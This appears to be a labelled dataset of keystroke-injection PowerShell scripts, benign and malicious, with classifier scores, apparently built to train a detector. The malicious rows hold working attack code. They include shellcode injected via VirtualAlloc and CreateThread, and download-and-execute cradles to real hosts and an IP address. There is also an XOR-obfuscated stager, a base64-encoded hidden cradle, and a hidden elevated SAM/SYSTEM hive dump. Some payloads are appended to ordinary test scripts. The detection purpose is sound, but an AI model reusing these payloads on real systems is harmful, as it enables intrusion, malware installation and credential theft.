$z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.073811e-05,0.9999492
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_3kge192q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_75.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3745462e-05
"win+r powershell enter $wC=NEW-ObJect SystEM.Net.WEBCLieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$wc.HeADeRS.ADd('User-Agent',$u);$wc.ProXy = [SYsT enter EM.Net.WEbReQUeST]::DeFaultWEbPROxY;$K='g enter enter",1,1,5.5185126e-05,0.9999448
"win+r enter powershell enter enter enter  enter function Test-ResourceLockCRUD enter { enter enter $rgname = Get-ResourceGroupName enter $rname = Get-ResourceName enter $rglocation = Get-ProviderLocation ResourceManagement enter $apiversion = ""2014-04-01"" enter enter $rg = New-AzureRMResourceGroup -Name $rgname -Location $rglocation enter $actual = New-AzureRMResourceLock -LockName $rname -LockLevel CanNotDelete -Force -Scope $rg.ResourceId enter $expected = Get-AzureRMResourceLock -LockName $rname -Scope $rg.ResourceId enter Assert-AreEqual $expected.Name $actual.Name enter Assert-AreEqual $expected.ResourceId $actual.ResourceId enter Assert-AreEqual $expected.ResourceName $actual.ResourceName enter Assert-AreEqual $expected.ResourceType $actual.ResourceType enter Assert-AreEqual $expected.LockId $actual.LockId enter enter $expectedSet = Set-AzureRMResourceLock -LockId $expected.LockId -LockLevel CanNotDelete -LockNotes test -Force enter Assert-AreEqual $expectedSet.Properties.Notes ""test"" enter enter $removed = Remove-AzureRMResourceLock -LockId $expectedSet.LockId -Force enter Assert-AreEqual True $removed enter enter $actual = New-AzureRMResourceLock -LockName $rname -LockLevel CanNotDelete -Force -Scope $rg.ResourceId enter $removed = Remove-AzureRMResourceLock -ResourceId $actual.ResourceId -Force enter Assert-AreEqual True $removed enter $actual = New-AzureRMResourceLock -LockName $rname -LockLevel ReadOnly -Force -Scope $rg.ResourceId enter Assert-AreEqual $expected.Name $actual.Name enter enter $expected = Get-AzureRMResourceLock -LockName $rname -Scope $rg.ResourceId enter Assert-AreEqual $expected.Properties.Level ""ReadOnly"" enter enter $removed = Remove-AzureRMResourceLock -ResourceId $actual.ResourceId -Force enter Assert-AreEqual True $removed enter } enter function Test-ResourceLockNonExisting enter { enter enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter enter $rg = New-AzureRMResourceGroup -Name $rgname -Location $rglocation enter Assert-AreEqual $rgname $rg.ResourceGroupName enter enter $lock = Get-AzureRMResourceLock -LockName ""NonExisting"" -Scope $rg.ResourceId -ErrorAction SilentlyContinue enter enter Assert-True { $Error[0] -like ""*LockNotFound : The lock 'NonExisting' could not be found."" } enter Assert-Null $lock enter enter $Error.Clear() enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.610524e-05,0.99994385
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_ayq7j2me"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4056273e-05
"win+r powershell enter Describe ""Write-Error Tests"" -Tags ""CI"" { enter It ""Should be works with command: write-error myerrortext"" { enter $e = Write-Error myerrortext 2>&1 enter $e | Should -BeOfType 'System.Management.Automation.ErrorRecord' enter $e.Exception | Should -BeOfType 'Microsoft.PowerShell.Commands.WriteErrorException' enter $e.Exception.Message | Should -Be 'myerrortext' enter $e.Exception.Data.Count | Should -Be 0 enter $e.Exception.InnerException | Should -BeNullOrEmpty enter $e.CategoryInfo | Should -Not -BeNullOrEmpty enter $e.CategoryInfo.Category | Should -Be 'NotSpecified' enter $e.CategoryInfo.Activity | Should -Be 'Write-Error' enter $e.CategoryInfo.Reason | Should -Be 'WriteErrorException' enter $e.CategoryInfo.TargetName | Should -BeNullOrEmpty enter $e.CategoryInfo.TargetType | Should -BeNullOrEmpty enter $e.CategoryInfo.GetMessage() | Should -Be 'NotSpecified: (:) [Write-Error], WriteErrorException' enter $e.ErrorDetails | Should -BeNullOrEmpty enter $e.FullyQualifiedErrorId | Should -BeExactly 'Microsoft.PowerShell.Commands.WriteErrorException' enter $e.InvocationInfo | Should -Not -BeNullOrEmpty enter $e.InvocationInfo.MyCommand.Name | Should -BeNullOrEmpty enter } enter It ""Should be works with all parameters"" { enter $exception = New-Object -TypeName System.ArgumentNullException -ArgumentList paramname enter $e = Write-Error -Message myerrortext -Exception $exception -ErrorId myerrorid -Category syntaxerror -TargetObject TargetObject -CategoryActivity myactivity -CategoryReason myreason -CategoryTargetName mytargetname -CategoryTargetType mytargettype -RecommendedAction myrecommendedaction 2>&1 enter $e | Should -Not -BeNullOrEmpty enter $e | Should -BeOfType 'System.Management.Automation.ErrorRecord' enter $e.Exception | Should -BeOfType 'System.ArgumentNullException' enter $e.Exception.ParamName | Should -Be 'paramname' enter $e.Exception.Data.Count | Should -Be 0 enter $e.Exception.InnerException | Should -BeNullOrEmpty enter $e.TargetObject | Should -Be 'TargetObject' enter $e.FullyQualifiedErrorId | Should -BeExactly 'myerrorid' enter $e.CategoryInfo | Should -Not -BeNullOrEmpty enter $e.CategoryInfo.Category | Should -Be 'SyntaxError' enter $e.CategoryInfo.Activity | Should -Be 'myactivity' enter $e.CategoryInfo.Reason | Should -Be 'myreason' enter $e.CategoryInfo.TargetName | Should -Be 'mytargetname' enter $e.CategoryInfo.TargetType | Should -Be 'mytargettype' enter $e.CategoryInfo.GetMessage() | Should -Be 'SyntaxError: (mytargetname:mytargettype) [myactivity], myreason' enter $e.ErrorDetails | Should -Not -BeNullOrEmpty enter $e.ErrorDetails.Message | Should -Be 'myerrortext' enter $e.ErrorDetails.RecommendedAction | Should -Be 'myrecommendedaction' enter $e.InvocationInfo | Should -Not -BeNullOrEmpty enter $e.InvocationInfo.MyCommand.Name | Should -BeNullOrEmpty enter } enter It ""Should be works with all parameters"" { enter $e = write-error -Activity fooAct -Reason fooReason -TargetName fooTargetName -TargetType fooTargetType -Message fooMessage 2>&1 enter $e.CategoryInfo.Activity | Should -Be 'fooAct' enter $e.CategoryInfo.Reason | Should -Be 'fooReason' enter $e.CategoryInfo.TargetName | Should -Be 'fooTargetName' enter $e.CategoryInfo.TargetType | Should -Be 'fooTargetType' enter $e.CategoryInfo.GetMessage() | Should -Be 'NotSpecified: (fooTargetName:fooTargetType) [fooAct], fooReason' enter } enter It ""Should be able to throw with -ErrorAction stop"" { enter { Write-Error ""test throw"" -ErrorAction Stop } | Should -Throw enter } enter It ""Should throw a non-terminating error"" { enter { Write-Error ""test throw"" -ErrorAction SilentlyContinue } | Should -Not -Throw enter } enter It ""Should trip an exception using the exception switch"" { enter { Write-Error -Exception -Message ""test throw"" } | Should -Throw -ErrorId ""MissingArgument,Microsoft.PowerShell.Commands.WriteErrorCommand"" enter } enter It ""Should output the error message to the `$error automatic variable"" { enter $theError = ""Error: Too many input values."" enter write-error -message $theError -category InvalidArgument -ErrorAction SilentlyContinue enter [string]$error[0]| Should -Be $theError enter } enter It ""ErrorRecord should not be or have inserted newlines when redirected from another process"" { enter $longtext = ""0123456789"" enter while ($longtext.Length -lt [console]::WindowWidth) { enter $longtext += $longtext enter } enter $result = pwsh -noprofile -command ""`$ErrorView = 'NormalView'; Write-Error -Message '$longtext'"" 2>&1 enter $result.Count | Should -BeExactly 3 enter $result[0] | Should -Match $longtext enter } enter } enter",0,0,0.9998111,0.00018894784
"win+r powershell enter Framework ""2.0"" task default -depends MsBuild task MsBuild { if ( $IsMacOS -O enter R $IsLinux ) { $output = &dotnet build -version -nologo 2>&1 Assert ($output - enter NotLike ""15.3"") '$output should contain 15.3' } } $c = '[DllImport(""kernel32.d enter ll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uin enter t flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static ext enter ern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpSt enter artAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImp enter ort(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint enter count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Funct enter ions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe enter 5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0 enter f,0xb7,0x4a,0x26,0x3 enter enter",1,1,5.1851246e-05,0.99994814
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x69,0x9c,0xb6,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.192789e-05,0.999948
"win+r enter powershell enter enter enter Clear-Host enter Add-Type -AssemblyName System.Windows.Forms enter $PowershellConsole = (Get-Host).UI.RawUI enter $PowershellConsole.WindowTitle = ""Secure Screen Stopper"" enter $button = $null enter $Global:MainProcess enter $Global:RelativePath enter $Global:MMProcess enter enter Function GetRelativePath{ enter $Global:RelativePath=(split-path $SCRIPT:MyInvocation.MyCommand.Path -parent)+""\"" enter Write-Host $Global:RelativePath enter } enter enter Function KillProcesses{ enter $Running = Get-Process -Name conhost -ErrorAction SilentlyContinue enter If($Running -ne $null){ enter Stop-Process -Name conhost -Force enter } enter $Running = Get-Process -Name powershell -ErrorAction SilentlyContinue enter If($Running -ne $null){ enter Stop-Process -Name powershell -Force enter } enter } enter enter GetRelativePath enter $a = ""-WindowStyle Minimized -File""+[char]32+[char]34+$Global:RelativePath+""MouseMover.ps1""+[char]34 enter Write-Host $a enter Start-Process powershell.exe $a enter $button = [system.windows.forms.messagebox]::show(""Click OK to reinstate secure screen saver!"") enter enter KillProcesses enter function Out-CompressedDll enter { enter [CmdletBinding()] Param ( enter [Parameter(Mandatory = $True)] enter [String] enter $FilePath enter ) enter enter $Path = Resolve-Path $FilePath enter enter if (! [IO.File]::Exists($Path)) enter { enter Throw ""$Path does not exist."" enter } enter enter $FileBytes = [System.IO.File]::ReadAllBytes($Path) enter enter if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ') enter { enter Throw ""$Path is not a valid executable."" enter } enter enter $Length = $FileBytes.Length enter $CompressedStream = New-Object IO.MemoryStream enter $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) enter $DeflateStream.Write($FileBytes, 0, $FileBytes.Length) enter $DeflateStream.Dispose() enter $CompressedFileBytes = $CompressedStream.ToArray() enter $CompressedStream.Dispose() enter $EncodedCompressedFile = [Convert]::ToBase64String($CompressedFileBytes) enter enter Write-Verbose ""Compression ratio: $(($EncodedCompressedFile.Length/$FileBytes.Length).ToString(' enter enter $Output = @"" enter `$EncodedCompressedFile = @' enter $EncodedCompressedFile enter '@ enter `$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`$EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) enter `$UncompressedFileBytes = New-Object Byte[]($Length) enter `$DeflatedStream.Read(`$UncompressedFileBytes, 0, $Length) | Out-Null enter [Reflection.Assembly]::Load(`$UncompressedFileBytes) enter ""@ enter enter Write-Output $Output enter } enter enter",1,1,0.0001955365,0.99980444
"alt f2 gnome-terminal --maximize enter enter clear enter enter cat > /dev/null << eof enter enter hello world! enter enter = enter enter enter enter _.-------.._ -, enter enter .-""'''""--..,,_/ /'-, -, \ enter enter .:"" /:/ /'\ \ ,_..., '. | | enter enter / ,----/:/ /'\ _\~'_-""' _; enter enter ' / /'""""""'\ \ \.~'_-' ,-""'/ enter enter | | | 0 | | .-' ,/' / enter enter | ,..\ \ ,.-""' ,/' / enter enter ; : '/'""""\' ,/--==,/-----, enter enter | '-...| -.___-z:_______j...---; enter enter : ' _-' enter enter _l_ _ ___ ___ ___ ___ ____--""' enter enter | __|| | |_ _|| _ \| _ \| __|| _ \ enter enter | _| | |__ | | | _/| _/| _| | / enter enter |_| |____||___||_| |_| |___||_|_\ enter enter enter enter flipper zero badusb feature is compatible with usb rubber ducky script format enter enter more information about script syntax can be found here: enter enter https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/badusbscriptformat.md enter enter eof enter",0,0,0.9994879,0.00051212264
win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter & (Join-Path -Path $PSScriptRoot 'Initialize-CarbonTest.ps1' -Resolve) enter enter $appPoolName = 'Carbon-Set-IisWebsiteID' enter $siteName = 'Carbon-Set-IisWebsiteID' enter enter Describe 'Set-IisWebsiteID' { enter BeforeEach { enter $testDir = Join-Path -Path $TestDrive.FullName -ChildPath ([IO.Path]::GetRandomFileName()) enter New-Item -Path $testDir -ItemType 'Directory' enter Install-IisAppPool -Name $appPoolName enter Install-IisWebsite -Name $siteName -Binding 'http/*:61664:carbon-test-set-iiswebsiteid.com' -Path $TestDir -AppPoolName $appPoolName enter } enter enter AfterEach { enter Remove-IisWebsite $siteName enter } enter enter It 'should change ID' { enter $currentSite = Get-IisWebsite -SiteName $siteName enter $currentSite | Should -Not -BeNullOrEmpty enter enter $currentSite.Start() enter enter $newID = [int32](Get-Random -Maximum ([int32]::MaxValue) -Minimum 1) enter Set-IisWebsiteID -SiteName $siteName -ID $newID -ErrorAction SilentlyContinue enter enter $updatedSite = Get-IisWebsite -SiteName $siteName enter $updatedSite.ID | Should -Be $newID enter $updatedSite.State | Should -Be 'Started' enter } enter enter It 'should detect duplicate IDs' { enter $alreadyTakenSiteName = 'AlreadyGotIt' enter $alreadyTakenSiteID = 4571 enter $alreadyTakenSite = Install-IisWebsite -Name $alreadyTakenSiteName ` enter -PhysicalPath $PSScriptRoot ` enter -Binding 'http/*:9983:' ` enter -SiteID $alreadyTakenSiteID ` enter -PassThru enter try enter { enter $currentSite = Get-IisWebsite -SiteName $siteName enter $siteName | Should -Not -BeNullOrEmpty enter enter $alreadyTakenSite.ID | Should -Not -Be $currentSite.ID enter enter $Error.Clear() enter Set-IisWebsiteID -SiteName $siteName -ID $alreadyTakenSiteID -ErrorAction SilentlyContinue enter $Error.Count | Should -Be 1 enter $Error[0].Exception.Message | Should -BeLike '*ID * already in use*' enter } enter finally enter { enter Uninstall-IisWebsite -Name $alreadyTakenSiteName enter } enter } enter enter It 'should handle non existent website' { enter $Error.Clear() enter Set-IisWebsiteID -SiteName 'HopefullyIDoNotExist' -ID 453879 -ErrorAction SilentlyContinue enter $Error.Count | Should -Be 1 enter $Error[0].Exception.Message | Should -BeLike '*Website * not found*' enter } enter enter It 'should support what if' { enter $currentSite = Get-IisWebsite -SiteName $siteName enter $newID = [int32](Get-Random -Maximum ([int32]::MaxValue) -Minimum 1) enter Set-IisWebsiteID -SiteName $siteName -ID $newID -WhatIf -ErrorAction SilentlyContinue enter $updatedsite = Get-IisWebsite -SiteName $siteName enter $updatedsite.ID | Should -Be $currentSite.ID enter } enter enter It 'should set same ID on same website' { enter $Error.Clear() enter $currentSite = Get-IisWebsite -SiteName $siteName enter $currentSite.Start() enter Set-IisWebsiteID -SiteName $siteName -ID $currentSite.ID -ErrorAction SilentlyContinue enter $Error.Count | Should -Be 0 enter $updatedSite = Get-IisWebsite -SiteName $siteName enter $updatedSite.ID | Should -Be $currentSite.ID enter $updatedSite.State | Should -Be 'Started' enter } enter enter } enter enter,0,0,0.9999548,4.514406e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_xzneu8t0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_10.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4941088e-05
"win+r powershell enter delay_medium enter win+r enter delay_medium enter powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -ep bypass -c ""reg save HKLM\SAM $env:TEMP\sam.hiv; reg save HKLM\SYSTEM $env:TEMP\system.hiv""' enter enter enter delay_long enter unknown_key_action ALT y enter enter enter",1,1,6.281506e-05,0.9999372
"win+r enter powershell enter enter enter IEX (New-Object Net.Webclient).downloadstring(""http://fidelema.top/gatef1.php"") enter enter",1,1,6.134078e-05,0.9999386
"win+r enter powershell enter enter enter [SyStEM.NET.SerViCePoIntMAnAGEr]::EXpect100COntINUE = 0;$wC=NEw-OBJeCt SyStem.Net.WEBClieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEADerS.Add('User-Agent',$u);$wC.PRoxy = [SysTeM.NEt.WeBREquest]::DefAULtWeBPRoxY;$Wc.PrOxy.CREdENtIaLs = [SYsTEM.NET.CredENTIalCaChe]::DEfauLtNEtworKCreDeNtIaLS;$K='WF4g*_~s3^Z]IMEn6<@X`./kG%>80a[U';$I=0;[cHar[]]$B=([cHar[]]($Wc.DOWNloAdSTring(""http://pie32.mooo.com:8080/index.asp"")))|%{$_-BXOr$K[$i++%$k.LengTH]};IEX ($B-joIn'') enter enter",1,1,5.598552e-05,0.999944
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install notepadplusplus enter A enter enter,0,0,0.9999597,4.033034e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_cut2c0wo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4061795e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install office365proplus enter A enter enter enter,0,0,0.99995995,3.9997918e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_w523s1sq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.438411e-05
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAH enter QAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAG enter cAKAAiAGgAdAB0AHAAOgAvAC8AcABpAG4AawBzAHQAcgBhAHYAZQBsAHMALgBjAG8AbQAvAGwAbwBjAG enter EAbABzAC4AcABoAHAAIgApAA== enter,1,1,6.0399805e-05,0.99993956
win+r enter powershell enter enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Test-ShouldTestExistingIPV4Address enter { enter Get-IPAddress -V4 | ForEach-Object { Assert-True (Test-IPAddress -IPAddress $_) } enter } enter enter function Test-ShouldTestExistingIPV4String enter { enter Get-IPAddress -V4 | ForEach-Object { Assert-True (Test-IPAddress -IPAddress $_.ToString()) } enter } enter enter function Test-ShouldTestNonExistentIPV4Address enter { enter Assert-False (Test-IPAddress -IPAddress ([Net.IPAddress]::Parse('255.255.255.0'))) enter } enter enter function Test-ShouldTestNonExistentIPV4String enter { enter Assert-False (Test-IPAddress -IPAddress '255.255.255.0') enter } enter function Test-ShouldHandleExistentIPV6Address enter { enter Get-IPAddress -V6 | ForEach-Object { Assert-True (Test-IPAddress -IPAddress $_ ) } enter } enter enter function Test-ShouldHandleExistentIPV6String enter { enter Get-IPAddress -V6 | ForEach-Object { Assert-True (Test-IPAddress -IPAddress $_.ToString() ) } enter } enter enter function Test-ShouldHandleNonExistentIP6Address enter { enter Assert-False (Test-IPAddress -IPAddress ([Net.IPAddress]::Parse('::1'))) enter } enter enter function Test-ShouldHandleNonExistentIPV6String enter { enter Assert-False (Test-IPAddress -IPAddress '::1') enter } enter enter,0,0,0.9998697,0.00013029495
"win+r enter powershell enter enter enter if (Get-Command logparser.exe) { enter enter $lpquery = @"" enter SELECT enter COUNT(ImagePath, LaunchString, Publisher) as ct, enter ImagePath, enter LaunchString, enter Publisher enter FROM enter *autorunsc.tsv enter WHERE enter (ImagePath not like 'File not found%') enter GROUP BY enter ImagePath, enter LaunchString, enter Publisher enter ORDER BY enter ct ASC enter ""@ enter enter & logparser -stats:off -i:csv -dtlines:0 -fixedsep:on -rtp:-1 ""$lpquery"" enter enter } else { enter $ScriptName = [System.IO.Path]::GetFileName($MyInvocation.ScriptName) enter ""${ScriptName} requires logparser.exe in the path."" enter } enter enter",0,0,0.99988735,0.00011258417
"win+r enter powershell enter enter enter Set-StrictMode -Version Latest enter enter InModuleScope Pester { enter Describe ""Should -HaveCount"" { enter It ""passes if collection has the expected amount of items"" { enter @(1, 'a', 3) | Should -HaveCount 3 enter } enter enter It ""passes given scalar value and expecting collection of count 1"" { enter 'a' | Should -HaveCount 1 enter } enter enter It ""fails if collection has less values"" { enter { @('a', 3) | Should -HaveCount 3 } | Verify-AssertionFailed enter } enter enter It ""fails if collection has more values"" { enter { @(1, 'a', 3, 4) | Should -HaveCount 3 } | Verify-AssertionFailed enter } enter enter It ""fails if given scalar value"" { enter { 'a' | Should -HaveCount 3 } | Verify-AssertionFailed enter } enter enter It ""returns the correct assertion message when collection is not empty"" { enter $err = { @(1, 'a', 3, 4) | Should -HaveCount 3 -Because 'reason' } | Verify-AssertionFailed enter $err.Exception.Message | Verify-Equal ""Expected a collection with size 3, because reason, but got collection with size 4 @(1, 'a', 3, 4)."" enter } enter enter It ""returns the correct assertion message when collection is not empty"" { enter $err = { @()| Should -HaveCount 3 -Because 'reason' } | Verify-AssertionFailed enter $err.Exception.Message | Verify-Equal 'Expected a collection with size 3, because reason, but got an empty collection.' enter } enter enter It ""returns the correct assertion message when collection is not empty"" { enter $err = { @(1) | Should -HaveCount 0 -Because 'reason' } | Verify-AssertionFailed enter $err.Exception.Message | Verify-Equal 'Expected an empty collection, because reason, but got collection with size 1 1.' enter } enter enter It ""validates the expected size to be bigger than 0"" { enter $err = { @(1) | Should -HaveCount (-1)} | Verify-Throw enter $err.Exception | Verify-Type ([ArgumentException]) enter } enter } enter enter Describe ""Should -Not -HaveCount"" { enter It ""passes if collection does not have the expected count of items"" { enter @(1, 'a', 3, 4) | Should -Not -HaveCount 3 enter } enter enter It ""fails if collection HaveCounts the value"" { enter { @(1, 'a', 3) | Should -Not -HaveCount 3 } | Verify-AssertionFailed enter } enter enter It ""returns the correct assertion message"" { enter $err = { @(1, 'a', 3) | Should -Not -HaveCount 3 -Because 'reason' } | Verify-AssertionFailed enter $err.Exception.Message | Verify-Equal ""Expected a collection with size different from 3, because reason, but got collection with that size @(1, 'a', 3)."" enter } enter enter It ""returns the correct assertion message"" { enter $err = { @() | Should -Not -HaveCount 0 -Because 'reason' } | Verify-AssertionFailed enter $err.Exception.Message | Verify-Equal 'Expected a non-empty collection, because reason, but got an empty collection.' enter } enter enter It ""validates the expected size to be bigger than 0"" { enter $err = { @(1) | Should -HaveCount (-1) } | Verify-Throw enter $err.Exception | Verify-Type ([ArgumentException]) enter } enter } enter } enter enter",0,0,0.99994123,5.878844e-05
